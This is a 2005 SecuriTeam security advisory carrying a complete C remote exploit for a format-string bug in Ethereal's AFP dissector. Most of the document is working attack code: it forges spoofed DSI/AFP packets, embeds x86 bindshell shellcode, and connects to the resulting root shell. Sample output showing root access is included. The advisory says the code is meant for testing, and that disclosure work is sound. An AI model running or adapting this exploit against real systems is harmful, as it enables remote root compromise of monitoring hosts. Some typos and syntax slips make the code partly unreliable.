

[EXPL] Etheral AFP Protocol Dissector Remote Format String (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-08/0029.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 08/08/05

To: list@securiteam.com

Date: 8 Aug 2005 13:18:49 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Etheral AFP Protocol Dissector Remote Format String (Exploit)

SUMMARY

Etheral contains a remotely exploitable format string bug in its AFP dissector code, the following exploit code can be used to test your system for the mentioned vulnerability.

DETAILS

Vulnerable Systems:

- * Etheral version 0.10.11 and prior

Immune Systems:

- * Etheral version 0.9.*

Exploit:

```
/*[ etheral[v0.10.*]: (AFP) remote format string exploit. ] *****
```

```
*
```

```
* by: vade79/v9 v9 at fakehalo.us (fakehalo/realhalo)
```

```
*
```

```
* compile:
```

```
* gcc xetheral-afp-fmt.c -o xetheral-afp-fmt
```

Securiteam: [EXPL] Etherreal AFP Protocol Dissector Remote Format String (Exploit)

*
* etherreal homepage/url:
* <http://www.etherreal.com>
*
* syntax:
* ./xetherreal-afp-fmt [-spSrPanc] -h host
*
* vulnerable versions:
* v0.10.0 to v0.10.11 (v0.9.* and below not effected)
*
* fix:
* packet-afp.c:1733:-proto_item_set_text(item, rep);
* packet-afp.c:1733:+proto_item_set_text(item, "%s", rep);
*
* Etherreal is used by network professionals around the world for
* troubleshooting, analysis, software and protocol development,
* and education. It has all of the standard features you would
* expect in a protocol analyzer, and several features not seen in
* any other product. Its open source license allows talented
* experts in the networking community to add enhancements. It runs
* on all popular computing platforms, including Unix, Linux, and
* Windows.
*
* etherreal(v0.10.0 to v0.10.11) contains a remotely exploitable
* format string bug in its AFP dissector code(packet-afp.c).
*
* the vulnerable function is located in packet-afp.c in the
* dissect_reply_afp_get_server_param() function. this function
* uses the get_name() function to pluck a string(the "volume")
* from the packet and proceeds to pass it (improperly) to
* proto_item_set_text() which uses formats.
*
* this exploit uses the DSI/afpovertcp(548) TCP port as a means of
* exploiting this. the port does NOT have to be open to exploit
* this as you can send spoofed packets or connect to a different
* port(explained in the next paragraph) to get the job done.
*
* etherreal may rely on the source port, if no dissector is found
* for the destination port, to decide what dissector to use on a
* packet. this means ANY destination port may be used, granted it
* has no destination port dissector. (ie. port 80 won't work, but
* port 1234 will)
*
* as for exploiting this, it is somewhat special. there is no
* user-supplied data(that i found usable) on the stack to form
* addresses out of, however there are many "real" addresses you
* can use that are already there. this means you can not
* use the half-number(\$hn) or multiple number(\$n) writing methods,
* and you must attempt to do it in one number(\$n) write. people
* say this isn't desired, however it worked fine for me when
* testing this exploit—as if i had a choice.

Securiteam: [EXPL] Ethereal AFP Protocol Dissector Remote Format String (Exploit)

```
*
* the exploit string itself is formed as follows(in heap):
* <fmt string><align><addr jump x 16><nops x 64><shellcode>
*
* method 1 of using the exploit string(general situations):
* the format string overwrites a selected address in memory to
* point to the <nops> and then the <shellcode>.
* to find the address(-r option) to use for this method run:
* ./xethereal-afp-fmt -h <host> -r 0x08765432
* then on the box running ethereal, run this on the core file:
* objdump -D -s core|grep "90909090 90909090 90909090 90909090"\
* |head -1|awk '{print $1}'
*
* method 2 of using the exploit string(special situations):
* the format string overwrites a selected address in memory to
* point to the <addr jump> portion of the string, the <addr jump>
* value is simply the [current memory location+64] which jumps to
* the nops and then the shellcode.
* to find the address(-r option) to use for this method run:
* ./xethereal-afp-fmt -h <host> -r 0x080807c8
* then on the box running ethereal, run this on the core file:
* objdump -D -s core|grep "08080808 08080808 08080808 08080808"\
* |head -1|awk '{print $1}'
*
* (for both methods 1 and 2: if the address given is not %4, round
* up to the next %4 address, do not round down. also, try this a
* couple times to see if values are in the same place
* consistently. if i notice a less volatile/easier to predict
* memory area to use in the future i will modify this exploit
* accordingly)
*
* the pop(-P option) value must be found manually, during testing
* a pop value of 45(method 2) and also 104(method 1) worked for
* me. (these will most likely not work for you)
*
* as for the sending of the DSI/AFP packets, you must send two.
* the first packet sets what the "command" and "id" number are,
* the second is the reply which is where the exploitation occurs.
* (note: the "id" number and source port must match both packets)
*
* i tested the following exploit on mandrake/9.2 using tethereal
* v0.10.10-SVN-14182, finding the pop(-P option) value will almost
* surely be different on each distribution/version(the bug is not
* limited to linux, but this exploit is). if you simply desire to
* see if your version of ethereal is vulnerable use the
* crash(-c option) command-line option.
*
* example result:
* -----
* # gcc xethereal-afp-fmt.c -o xethereal-afp-fmt
* # ./xethereal-afp-fmt -h dual.fakehalo.lan -r 0x082129f0 -P 45
```

Securiteam: [EXPL] Etheral AFP Protocol Dissector Remote Format String (Exploit)

```
* [*] ethereal[v0.10.*]: (AFP) remote format string exploit.
* [*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)
*
* [*] address : 0x082129f0
* [*] sc address : 0x08212a30 (address+64, for method 2)
* [*] pops : 45
* [*] shell port : 7979
* [*] spoofed : yes
*
* [*] destination : dual.fakehalo.lan:548
* [*] source : <random>:548
* [*] amount : 5
*
* [+] sending(2x packet = .): .....(done)
*
* [*] pause for remote processing... (10 seconds)
* [*] checking to see if the exploit was successful.
* [*] attempting to connect: dual.fakehalo.lan:7979.
* [*] successfully connected: dual.fakehalo.lan:7979.
*
* Linux fhlnxd 2.4.22-10mdk #1 Thu Sep 18 12:30:58 CEST 2003 i686$
* uid=0(root) gid=0(root) groups=0(root)
* -----
* (using "-p 104" and "-r 0x08212a30" also worked for me)
*
* note: ethereal needs to be running with tree/verbose(-V option)
* mode. i did not notice a problem with the snaplen(-s option)
* being needed to exploit, if it was it would need to be around
* 300 or more. (ie. "tethereal -V" should be enough)
*****/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#ifdef _USE_ARPA
#include <arpa/inet.h>
#endif

/* doesn't seem to be standardized, so... */
#if defined(__BYTE_ORDER) && !defined(BYTE_ORDER)
#define BYTE_ORDER __BYTE_ORDER
#endif
#if defined(__BIG_ENDIAN) && !defined(BIG_ENDIAN)
#define BIG_ENDIAN __BIG_ENDIAN
```

Securiteam: [EXPL] Etheral AFP Protocol Dissector Remote Format String (Exploit)

```
#endif
#if defined(BYTE_ORDER) && defined(BIG_ENDIAN)
#if BYTE_ORDER == BIG_ENDIAN
#define _USE_BIG_ENDIAN
#endif
#endif

/* will never need to be changed. */
#define DSI_SRC_PORT 548
#define SC_JUMP 64
/* change if desired. */
#define DFL_AMOUNT 5
#define DFL_SHELLPORT 7979
#define TIMEOUT 10
/* aligns post-format string. (possible modification) */
#define ALIGN 8
/* what is sent if the -c option is used. */
#define CRASH_STR "%s%s%s%s%s%s%s%s%n%n%n%n%n%n%n%n"

/* avoid platform-specific header madness. */
/* (just plucked out of header files) */
struct iph{
#ifdef _USE_BIG_ENDIAN
unsigned char version:4,ihl:4;
#else
unsigned char ihl:4,version:4;
#endif
unsigned char tos;
unsigned short tot_len;
unsigned short id;
unsigned short frag_off;
unsigned char ttl;
unsigned char protocol;
unsigned short check;
unsigned int saddr;
unsigned int daddr;
};
struct tcph{
unsigned short source;
unsigned short dest;
unsigned int seq;
unsigned int ack_seq;
#ifdef _USE_BIG_ENDIAN
unsigned short doff:4,resl:4,cwr:1,ece:1,
urg:1,ack:1,psh:1,rst:1,syn:1,fin:1;
#else
unsigned short resl:4,doff:4,fin:1,syn:1,
rst:1,psh:1,ack:1,urg:1,ece:1,cwr:1;
#endif
unsigned short window;
unsigned short check;
```

Securiteam: [EXPL] Ethereal AFP Protocol Dissector Remote Format String (Exploit)

```
unsigned short urg_ptr;
};
struct sumh{
unsigned int saddr;
unsigned int daddr;
unsigned char fill;
unsigned char protocol;
unsigned short len;
};
/* keep packet values for both packets. */
struct sync_packet{
unsigned int daddr;
unsigned int saddr;
unsigned short dest;
};
/* command-line argument table. */
struct{
unsigned int daddr;
unsigned int saddr;
unsigned int addr;
unsigned int pop;
unsigned int amt;
unsigned short port;
unsigned short sport;
unsigned char nospoof;
unsigned char crash;
}tbl;

/* packet 1's purpose is to get the "id" number to show */
/* up in the hash table and store the command(AFP_GETSRVPARAM) */
/* for the reply(packet 2). (set id number) */
static char payload1[]=
/* DSI start. (packet-dsi.c) */
"\xff" /* unknown flag. (2-255, don't use req/resp) */
"\x02" /* command=command. */
"\x00\x00" /* id number, must match packet2. (set later) */
"\x00\x00\x00\x00" /* code=0, can be invalid. */
"\x00\x00\x00\x00" /* length=0, can be invalid. */
"\x00\x00\x00\x00" /* reserved=0, can be invalid. */
/* AFP start. (packet-afp.c) */
"\x10"; /* command=AFP_GETSRVPARAM, for the next packet. */

/* packet 2's purpose is to follow the path to the buggy function, */
/* [DSIFUNC_WRITE->AFP_GETSRVPARAM->rep=get_name(...)-> */
/* proto_item_set_text(...,rep)]. (use same id as packet 1) */
static char payload2[]=
/* DSI start. (packet-dsi.c) */
"\x01" /* reply flag. */
"\x06" /* commad=write. (DSIFUNC_WRITE) */
"\x00\x00" /* id number, must match packet1. (set later) */
"\x00\x00\x00\x00" /* code=0, can be invalid. */
```

Securiteam: [EXPL] Etheral AFP Protocol Dissector Remote Format String (Exploit)

```
"\x00\x00\xff\xff" /* length=65535, needs to be somewhat valid. */
"\x00\x00\x00\x00" /* reserved=0, can be invalid. */
/* AFP start. (packet-afp.c) */
"\x00\x00\x00\x00" /* server time=0, can be invalid. */
"\x01" /* volumes=1, must be at least 1. */
"\x00" /* flags=0, can be invalid. */
"\x00"; /* len of volume, <255. (no 0xff, set later) */
/* ...format string(getfmt()) is attached here. */

static char x86_exec[]= /* netric bindshell() code. */
"\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66"
"\xcd\x80\x31\xd2\x52\x66\x68\xff\xff\x43\x66\x53\x89"
"\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89"
"\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52"
"\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd"
"\x80";

/* prototypes. (and sig_alarm) */
void dsi_connect(unsigned int,unsigned short);
void dsi_inject(struct sync_packet,char *,unsigned int);
char *getfmt(unsigned int,unsigned int);
unsigned short in_cksum(unsigned short *,signed int);
unsigned int getip(char *);
void getshell(unsigned int,unsigned short,char *);
void printe(char *,signed char);
void usage(char *);
void sig_alarm(){printe("alarm/timeout hit.",1);}

/* begin. */
int main(int argc,char **argv) {
signed int chr=0;
char *dstname,*srcname,*tmpdata,*fmtptr;
struct sync_packet sp;
printf("[*] etheral[v0.10.*]: (AFP) remote format string exploit.\n");
printf("[*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)\n\n");
/* set generic values. */
tbl.amt=DFL_AMOUNT;
tbl.sport=DFL_SHELLPORT;
tbl.port=DSI_SRC_PORT;
/* get command-line options. */
while((chr=getopt(argc,argv,"h:s:p:S:r:P:a:nc"))!=EOF){
switch(chr){
case 'h':
if(!(tbl.daddr=getip(optarg)))
printe("invalid destination host/ip.",1);
if(!(dstname=(char *)malloc(strlen(optarg)+1)))
printe("malloc() failed.",1);
strcpy(dstname,optarg);
break;
```

Securiteam: [EXPL] Etheral AFP Protocol Dissector Remote Format String (Exploit)

```
case 's':
if(!(tbl.saddr=getip(optarg)))
printe("invalid destination host/ip.",1);
if(!(srcname=(char *)malloc(strlen(optarg)+1)))
printe("malloc() failed.",1);
strcpy(srcname,optarg);
break;
case 'p':
tbl.port=atoi(optarg);
break;
case 'S':
tbl.sport=atoi(optarg);
break;
case 'r':
sscanf(optarg,"%x",&tbl.addr);
break;
case 'P':
tbl.pop=atoi(optarg);
break;
case 'a':
tbl.amt=atoi(optarg);
break;
case 'n':
tbl.nospoof=1;
break;
case 'c':
tbl.crash=1;
break;
default:
usage(argv[0]);
break;
}
}
/* initial checks. (3) */
if(!tbl.daddr)
usage(argv[0]);
if((((tbl.addr&0xff000000)>>24)!=0x08||tbl.addr%4)&&!tbl.crash)
printe("address should be in the 0x08XXXXXX range and aligned(%4)."
" (-r option)",1);
if(!tbl.port||!tbl.sport)
printe("0 is not a valid port.",1);
if(tbl.crash)
printf("[*] crash\t: yes\n\n");
else{
printf("[*] address\t: 0x%.8x\n",tbl.addr);
printf("[*] sc address\t: 0x%.8x (address+%u, for method 2)\n",
tbl.addr+SC_JUMP,SC_JUMP);
printf("[*] pops\t: %u\n",tbl.pop);
printf("[*] shell port\t: %u\n",tbl.sport);
printf("[*] spoofed\t: %s\n\n",tbl.nospoof?"no":"yes");
/* set the shellcode port. */
```

Securiteam: [EXPL] Etheral AFP Protocol Dissector Remote Format String (Exploit)

```
x86_exec[20]=(tbl.sport&0xff00)>>8;
x86_exec[21]=(tbl.sport&0x00ff);
}
if(tbl.nospoof){
printf("[*] target: %s:%u\n\n",dstname,tbl.port);
dsi_connect(tbl.daddr,0);
printf("[*] done.\n\n");
}
else{
if(!tbl.amt)prnte("no packets?",1);
printf("[*] destination\t: %s:%u\n",dstname,tbl.port);
printf("[*] source\t: %s:%u\n",(tbl.saddr?srcname:"<random>"),
DSI_SRC_PORT);
printf("[*] amount\t: %u\n\n",tbl.amt);
printf("[+] sending(2x packet = .): ");
fflush(stdout);
while(tbl.amt--){
/* spice things up. */
srandom(time(0)+tbl.amt);
/* keep similar packet values, to ensure the 2nd packet */
/* is recognized as a response to the first. */
sp.daddr=tbl.daddr;
sp.saddr=(tbl.saddr?tbl.saddr:random()%0xffffffff);
sp.dest=htons(tbl.port);
/* make up a "id" number. */
payload1[2]=(random()%255+1);
payload1[3]=(random()%255+1);
/* must be the same "id" as the first packet. */
payload2[2]=payload1[2];
payload2[3]=payload1[3];
/* SEND PACKET 1. */
dsi_inject(sp,payload1,sizeof(payload1)-1);
/* delay to insure packet arrival time. */
sleep(1);
fmtptr=getfmt(tbl.addr,tbl.pop);
/* set the length of the volume in the packet. (22nd byte) */
if(strlen(fmtptr)>254)
prnte("volume string is larger than 254 bytes.",1);
payload2[22]=(unsigned char)strlen(fmtptr);
/* put payload2[] and the volume data(fmt) together. */
if(!(tmpdata=(char *)malloc(sizeof(payload2)+strlen(fmtptr))))
prnte("malloc() failed.",1);
memset(tmpdata,0,sizeof(payload2)+strlen(fmtptr));
memcpy(tmpdata,payload2,sizeof(payload2)-1);
memcpy(tmpdata+sizeof(payload2)-1,fmtptr,strlen(fmtptr));
/* SEND PACKET 2. */
dsi_inject(sp,tmpdata,sizeof(payload2)-1+strlen(fmtptr));
free(tmpdata);
printf(".");
fflush(stdout);
/* delay to insure packet arrival time. */
```

Securiteam: [EXPL] Ethereal AFP Protocol Dissector Remote Format String (Exploit)

```
sleep(1);
}
printf("(done)\n\n");
}
fflush(stdout);
/* see if the exploit spawned a remote shell. */
if(!tbl.crash){
printf("[*] pause for remote processing... (10 seconds)\n");
sleep(10);
getshell(tbl.daddr,tbl.sport,dstname);
}
exit(0);
}

/* (non-spoofed) generic connection. */
void dsi_connect(unsigned int daddr,unsigned short port){
signed int sock=0;
char *tmpdata,*fmtptr;
struct sockaddr_in s;
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
/* set source port to DSI/548. (required) */
s.sin_family=AF_INET;
s.sin_port=htons(DSI_SRC_PORT);
s.sin_addr.s_addr=INADDR_ANY;
if(bind(sock,(struct sockaddr *)&s,sizeof(s)))
prnte("bind() failed.",1);
/* normal routine. */
s.sin_family=AF_INET;
s.sin_port=htons(tbl.port);
s.sin_addr.s_addr=daddr;
printf("[*] attempting to connect...\n");
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
prnte("(non-spoofed) DSI connection failed.",1);
alarm(0);
printf("[*] successfully connected.\n");
/* make up a "id" number. */
payload1[2]=(random()%255+1);
payload1[3]=(random()%255+1);
/* must be the same "id" as the first packet. */
payload2[2]=payload1[2];
payload2[3]=payload1[3];
printf("[*] sending first DSI payload. (%u bytes)\n",
sizeof(payload1)-1);
write(sock,payload1,sizeof(payload1)-1);
usleep(500000);
fmtptr=getfmt(tbl.addr,tbl.pop);
/* set the length of the volume in the packet. */
/* (22nd byte of payload2[]) */
if(strlen(fmtptr)>254)
```

Securiteam: [EXPL] Etheral AFP Protocol Dissector Remote Format String (Exploit)

```
printe("volume string is larger than 254 bytes.",1);
payload2[22]=(unsigned char)strlen(fmtptr);
/* put payload2[] and the volume data(fmt) together. */
if(!(tmpdata=(char *)malloc(sizeof(payload2)+strlen(fmtptr))))
printe("malloc() failed.",1);
memset(tmpdata,0,sizeof(payload2)+strlen(fmtptr));
memcpy(tmpdata,payload2,sizeof(payload2)-1);
memcpy(tmpdata+sizeof(payload2)-1,fmtptr,strlen(fmtptr));
printf("[*] sending second DSI payload. (%u bytes)\n",
sizeof(payload2)-1+strlen(fmtptr));
write(sock,tmpdata,sizeof(payload2)-1+strlen(fmtptr));
free(tmpdata);
usleep(500000);
printf("[*] closing connection.\n");
close(sock);
return;
}

/* (spoofed) generates and sends an unestablished (DSI) */
/* TCP(ACK,PUSH) packet. */
void dsi_inject(struct sync_packet sp,char *data,unsigned int size){
signed int sock=0,on=1;
unsigned int psize=0;
char *p,*s;
struct sockaddr_in sa;
struct iph ip;
struct tcph tcp;
struct sumh sum;
/* create raw (TCP) socket. */
if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))<0)
printe("could not allocate raw socket.",1);
/* allow (on some systems) for the user-supplied ip header. */
#ifdef IP_HDRINCL
if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)))
printe("could not set IP_HDRINCL socket option.",1);
#endif
sa.sin_family=AF_INET;
sa.sin_port=htons(DSI_SRC_PORT);
sa.sin_addr.s_addr=sp.daddr;
psize=(sizeof(struct iph)+sizeof(struct tcph)+size);
memset(&ip,0,sizeof(struct iph));
memset(&tcp,0,sizeof(struct tcph));
/* values not filled = 0, from the memset() above. */
ip.ihl=5;
ip.version=4;
ip.tot_len=htons(psize);
ip.id=(random()%65535);
ip.saddr=sp.saddr;
ip.daddr=sa.sin_addr.s_addr;
ip.ttl=(64*(random()%2+1));
ip.protocol=IPPROTO_TCP;
```

Securiteam: [EXPL] Ethereal AFP Protocol Dissector Remote Format String (Exploit)

```
ip.frag_off=64;
tcp.seq=(random()%0xffffffff+1);
tcp.source=sa.sin_port;
tcp.dest=sp.dest;
tcp.doff=5;
tcp.ack=1;
tcp.psh=1;
tcp.ack_seq=(random()%0xffffffff+1);
tcp.window=htons(4096*(random()%2+1));
/* needed for (correct) checksums. */
sum.saddr=ip.saddr;
sum.daddr=ip.daddr;
sum.fill=0;
sum.protocol=ip.protocol;
sum.len=htons(sizeof(struct tcph)+size);
/* make sum/calc buffer for the tcp checksum. (correct) */
if(!(s=(char *)malloc(sizeof(struct sumh)+sizeof(struct tcph)
+size+1)))
printe("malloc() failed.",1);
memset(s,0,(sizeof(struct sumh)+sizeof(struct tcph)
+size+1));
memcpy(s,&sum,sizeof(struct sumh));
memcpy(s+sizeof(struct sumh),&tcp,sizeof(struct tcph));
memcpy(s+sizeof(struct sumh)+sizeof(struct tcph),
data,size);
tcp.check=in_cksum((unsigned short *)s,
sizeof(struct sumh)+sizeof(struct tcph)+size);
free(s);
/* make sum/calc buffer for the ip checksum. (correct) */
if(!(s=(char *)malloc(sizeof(struct iph)+1)))
printe("malloc() failed.",1);
memset(s,0,(sizeof(struct iph)+1));
memcpy(s,&ip,sizeof(struct iph));
ip.check=in_cksum((unsigned short *)s,sizeof(struct iph));
free(s);
/* put the packet together. */
if(!(p=(char *)malloc(psize+1)))
printe("malloc() failed.",1);
memset(p,0,psize);
memcpy(p,&ip,sizeof(struct iph));
memcpy(p+sizeof(struct iph),&tcp,sizeof(struct tcph));
memcpy(p+(sizeof(struct iph)+sizeof(struct tcph)),
data,size);
/* send the malformed DSI/AFP packet. */
if(sendto(sock,p,psize,0,(struct sockaddr *)&sa,
sizeof(struct sockaddr))<psize)
printe("failed to send forged DSI packet.",1);
free(p);
return;
}
```

Securiteam: [EXPL] Ethereal AFP Protocol Dissector Remote Format String (Exploit)

```

/* make format string. */
char *getfmt(unsigned int addr,unsigned int pops){
signed int i=0,j=0;
char *buf;
/* simple return if a crash is desired. */
if(tbl.crash)return(CRASH_STR);
/* on-ward. */
if(!(buf=(char *)malloc(256+1)))
printe("malloc() failed.",1);
memset(buf,0,(256+1));
/* no need to account for the length of this string into */
/* the address, as the format string is at the beginning. */
if((i=sprintf(buf,"%%.%uu%%%u$n",addr,pops))<0)
printe("sprintf() failed.",1);
/* align in memory/make static size. (works around %u size) */
while(i%ALIGN)buf[i++]='X';
/* also for alignment. */
buf[i++]='X';
/* a fake jump to the nops/shellcode. */
for(j=i;(j-i)<64;j+=4){*(long *)&buf[j]=(addr+SC_JUMP);}
/* will land here from the addr+SC_JUMP address above. */
memset(buf+j,0x90,64);
memcpy(buf+j+64,x86_exec,sizeof(x86_exec));
/* lame method of checking, but so effective. */
if(strlen(buf)<230)
printe("null-byte found in the format string.",1);
return(buf);
}

/* standard method for creating TCP/IP checksums. */
unsigned short in_cksum(unsigned short *addr,signed int len){
unsigned short answer=0;
register unsigned short *w=addr;
register int nleft=len,sum=0;
while(nleft>1){
sum+=*w++;
nleft-=2;
}
if(nleft==1){
*(unsigned char *)&answer=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}

/* gets the ip from a host/ip/numeric. */
unsigned int getip(char *host){
struct hostent *t;

```

Securiteam: [EXPL] Ethereal AFP Protocol Dissector Remote Format String (Exploit)

```
unsigned int s=0;
if((s=inet_addr(host)){
if((t=gethostbyname(host))
memcpy((char *)&s,(char *)t->h_addr,sizeof(s));
}
if(s== -1)s=0;
return(s);
}

/* bindshell connection routine. */
void getshell(unsigned int daddr,unsigned short port,char *dstname){
signed int sock=0,r=0;
fd_set fds;
char buf[4096+1];
struct sockaddr_in sa;
printf("[*] checking to see if the exploit was successful.\n");
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))== -1)
printe("getshell(): socket() failed.",1);
sa.sin_family=AF_INET;
sa.sin_addr.s_addr=daddr;
sa.sin_port=htons(port);
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
printf("[*] attempting to connect: %s:%d.\n",dstname,port);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
printf("[!] connection failed: %s:%d.\n",dstname,port);
return;
}
alarm(0);
printf("[*] successfully connected: %s:%d.\n",dstname,port);
signal(SIGINT,SIG_IGN);
write(sock,"uname -a;id;\n",14);
while(1){
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sock,&fds);
if(select(sock+1,&fds,0,0,0)<1)
printe("getshell(): select() failed.",1);
if(FD_ISSET(0,&fds)){
if((r=read(0,buf,4096))<1)
printe("getshell(): read() failed.",1);
if(write(sock,buf,r)!=r)
printe("getshell(): write() failed.",1);
}
if(FD_ISSET(sock,&fds)){
if((r=read(sock,buf,4096))<1)
exit(0);
write(1,buf,r);
}
}
close(sock);
```

